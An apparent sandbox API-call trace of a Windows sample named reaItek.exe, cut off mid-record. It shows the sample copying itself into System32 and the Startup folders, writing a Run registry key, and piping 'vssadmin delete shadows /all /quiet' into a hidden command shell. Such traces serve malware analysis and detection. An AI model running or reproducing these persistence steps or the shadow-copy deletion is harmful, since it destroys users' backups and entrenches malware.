0x5da5d0 [0093.201] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da5d0, Size=0x80) returned 0x604050 [0093.201] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604050, Size=0x100) returned 0x605f40 [0093.201] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0093.201] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605f40 | out: hHeap=0x5c0000) returned 1 [0093.201] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\reaItek.exe", lpDst=0x627710, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\reaItek.exe") returned 0x20 [0093.201] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x637718 | out: hHeap=0x5c0000) returned 1 [0093.201] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627710 | out: hHeap=0x5c0000) returned 1 [0093.202] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x23ae020 [0093.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605240 [0093.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605240, Size=0x20) returned 0x5febd8 [0093.205] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6053a8 [0093.205] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6053a8, Size=0x20) returned 0x5feb38 [0093.205] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.205] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0093.205] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0093.205] lstrlenW (lpString="kernel32.dll") returned 12 [0093.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5febd8 | out: hHeap=0x5c0000) returned 1 [0093.205] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.205] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb38 | out: hHeap=0x5c0000) returned 1 [0093.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\reaItek.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\reaitek.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0093.206] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\reaItek.exe" (normalized: "c:\\windows\\system32\\reaitek.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0093.207] ReadFile (in: hFile=0x240, lpBuffer=0x23ae020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ae020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0093.219] WriteFile (in: hFile=0x244, lpBuffer=0x23ae020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ae020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0093.221] ReadFile (in: hFile=0x240, lpBuffer=0x23ae020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ae020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0093.221] CloseHandle (hObject=0x244) returned 1 [0093.224] CloseHandle (hObject=0x240) returned 1 [0093.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605228 [0093.224] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605228, Size=0x20) returned 0x5fea20 [0093.224] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605438 [0093.224] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605438, Size=0x20) returned 0x5fe980 [0093.225] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.225] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0093.225] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0093.225] lstrlenW (lpString="kernel32.dll") returned 12 [0093.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x5c0000) returned 1 [0093.225] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fea20 | out: hHeap=0x5c0000) returned 1 [0093.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x23ae020 | out: hHeap=0x5c0000) returned 1 [0093.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605348 [0093.269] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605348, Size=0x20) returned 0x5fe908 [0093.269] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe908, Size=0x40) returned 0x5da6a8 [0093.269] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da6a8, Size=0x80) returned 0x6049e0 [0093.269] lstrlenW (lpString="C:\\WINDOWS\\System32\\reaItek.exe") returned 31 [0093.270] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0093.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5c) returned 0x5d7cb0 [0093.270] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0093.270] RegSetValueExW (in: hKey=0x240, lpValueName="reaItek.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\reaItek.exe", cbData=0x3e | out: lpData="C:\\WINDOWS\\System32\\reaItek.exe") returned 0x0 [0093.270] RegCloseKey (hKey=0x240) returned 0x0 [0093.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7cb0 | out: hHeap=0x5c0000) returned 1 [0093.270] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0093.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6049e0 | out: hHeap=0x5c0000) returned 1 [0093.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x627710 [0093.271] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x637718 [0093.271] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605198 [0093.271] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605198, Size=0x20) returned 0x5feb10 [0093.271] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feb10, Size=0x40) returned 0x5da348 [0093.271] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da348, Size=0x80) returned 0x604d10 [0093.271] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604d10, Size=0x100) returned 0x605f40 [0093.271] lstrlenW (lpString="") returned 0 [0093.271] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0093.271] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x606048 [0093.271] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0093.271] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x637718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x637718*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0093.271] RegCloseKey (hKey=0x240) returned 0x0 [0093.271] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606048 | out: hHeap=0x5c0000) returned 1 [0093.271] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0093.271] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x606048 [0093.271] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0093.273] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x637718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0093.273] RegCloseKey (hKey=0x244) returned 0x0 [0093.273] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606048 | out: hHeap=0x5c0000) returned 1 [0093.273] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0093.273] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0093.274] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605f40 | out: hHeap=0x5c0000) returned 1 [0093.274] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\reaItek.exe", lpDst=0x627710, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\reaItek.exe") returned 0x5a [0093.274] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x637718 | out: hHeap=0x5c0000) returned 1 [0093.274] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627710 | out: hHeap=0x5c0000) returned 1 [0093.275] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x23a5020 [0093.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605450 [0093.278] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605450, Size=0x20) returned 0x5fec50 [0093.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605228 [0093.278] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605228, Size=0x20) returned 0x5feb38 [0093.278] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.278] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0093.278] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0093.278] lstrlenW (lpString="kernel32.dll") returned 12 [0093.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec50 | out: hHeap=0x5c0000) returned 1 [0093.278] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb38 | out: hHeap=0x5c0000) returned 1 [0093.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\reaItek.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\reaitek.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0093.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\reaItek.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\reaitek.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0093.281] ReadFile (in: hFile=0x244, lpBuffer=0x23a5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0093.293] WriteFile (in: hFile=0x248, lpBuffer=0x23a5020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0093.295] ReadFile (in: hFile=0x244, lpBuffer=0x23a5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0093.295] CloseHandle (hObject=0x248) returned 1 [0093.305] CloseHandle (hObject=0x244) returned 1 [0093.305] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605270 [0093.305] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605270, Size=0x20) returned 0x5feb38 [0093.306] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6051e0 [0093.306] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6051e0, Size=0x20) returned 0x5fe840 [0093.306] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.306] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0093.306] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0093.306] lstrlenW (lpString="kernel32.dll") returned 12 [0093.306] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe840 | out: hHeap=0x5c0000) returned 1 [0093.306] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.306] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb38 | out: hHeap=0x5c0000) returned 1 [0093.306] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x23a5020 | out: hHeap=0x5c0000) returned 1 [0093.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x627710 [0093.312] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x637718 [0093.312] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6051e0 [0093.312] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6051e0, Size=0x20) returned 0x5fec78 [0093.312] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fec78, Size=0x40) returned 0x5da348 [0093.312] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da348, Size=0x80) returned 0x604738 [0093.312] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604738, Size=0x100) returned 0x605f40 [0093.312] lstrlenW (lpString="") returned 0 [0093.312] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0093.312] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x606048 [0093.312] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0093.312] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x637718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0093.312] RegCloseKey (hKey=0x244) returned 0x0 [0093.312] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606048 | out: hHeap=0x5c0000) returned 1 [0093.312] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0093.312] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0093.312] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605f40 | out: hHeap=0x5c0000) returned 1 [0093.312] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\reaItek.exe", lpDst=0x627710, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\reaItek.exe") returned 0x49 [0093.313] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x637718 | out: hHeap=0x5c0000) returned 1 [0093.313] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627710 | out: hHeap=0x5c0000) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x23ab020 [0093.317] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605258 [0093.317] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605258, Size=0x20) returned 0x5fe840 [0093.317] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605450 [0093.317] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605450, Size=0x20) returned 0x5fe8b8 [0093.317] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.317] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0093.317] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0093.317] lstrlenW (lpString="kernel32.dll") returned 12 [0093.317] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe840 | out: hHeap=0x5c0000) returned 1 [0093.317] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.317] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe8b8 | out: hHeap=0x5c0000) returned 1 [0093.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\reaItek.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\reaitek.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0093.317] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\reaItek.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\reaitek.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0093.404] ReadFile (in: hFile=0x244, lpBuffer=0x23ab020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ab020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0093.416] WriteFile (in: hFile=0x248, lpBuffer=0x23ab020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ab020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0093.418] ReadFile (in: hFile=0x244, lpBuffer=0x23ab020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ab020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0093.418] CloseHandle (hObject=0x248) returned 1 [0093.473] CloseHandle (hObject=0x244) returned 1 [0093.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605198 [0093.473] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605198, Size=0x20) returned 0x5fe980 [0093.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605180 [0093.473] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605180, Size=0x20) returned 0x5fe840 [0093.473] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.474] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0093.474] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0093.474] lstrlenW (lpString="kernel32.dll") returned 12 [0093.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe840 | out: hHeap=0x5c0000) returned 1 [0093.474] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x5c0000) returned 1 [0093.474] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x23ab020 | out: hHeap=0x5c0000) returned 1 [0093.479] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x607700 | out: hHeap=0x5c0000) returned 1 [0093.480] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617708 | out: hHeap=0x5c0000) returned 1 [0093.481] lstrlenW (lpString="%windir%\\System32") returned 17 [0093.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5da3d8 | out: hHeap=0x5c0000) returned 1 [0093.481] lstrlenW (lpString="%appdata%") returned 9 [0093.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe818 | out: hHeap=0x5c0000) returned 1 [0093.481] lstrlenW (lpString="%sh(Startup)%") returned 13 [0093.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec28 | out: hHeap=0x5c0000) returned 1 [0093.482] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0093.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5da660 | out: hHeap=0x5c0000) returned 1 [0093.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605360 [0093.482] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605360, Size=0x20) returned 0x5feb88 [0093.482] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feb88, Size=0x40) returned 0x5da078 [0093.482] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da078, Size=0x80) returned 0x6040d8 [0093.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605240 [0093.482] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605240, Size=0x20) returned 0x5feb60 [0093.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fffc) returned 0x607700 [0093.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x627708 [0093.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x637710 [0093.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605450 [0093.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605450, Size=0x20) returned 0x5fea70 [0093.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fea70, Size=0x40) returned 0x5da1e0 [0093.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da1e0, Size=0x80) returned 0x604c00 [0093.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604c00, Size=0x100) returned 0x605f40 [0093.483] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0093.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605f40 | out: hHeap=0x5c0000) returned 1 [0093.483] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x627708, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0093.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x637710 | out: hHeap=0x5c0000) returned 1 [0093.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627708 | out: hHeap=0x5c0000) returned 1 [0093.484] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0093.484] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0093.484] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0093.485] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0093.485] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x9fc, dwThreadId=0xa78)) returned 1 [0094.453] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0094.453] WriteFile (in: hFile=0x24c, lpBuffer=0x6040d8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6040d8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0094.453] CloseHandle (hObject=0x25c) returned 1 [0094.453] CloseHandle (hObject=0x258) returned 1 [0094.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x607700 | out: hHeap=0x5c0000) returned 1 [0094.453] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0094.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6040d8 | out: hHeap=0x5c0000) returned 1 [0094.453] lstrlenW (lpString="%comspec%") returned 9 [0094.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb60 | out: hHeap=0x5c0000) returned 1 [0094.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0094.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x605390 [0094.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x605390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0094.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603210 [0094.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x603210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605258 [0094.455] RtlReAllocateHeap 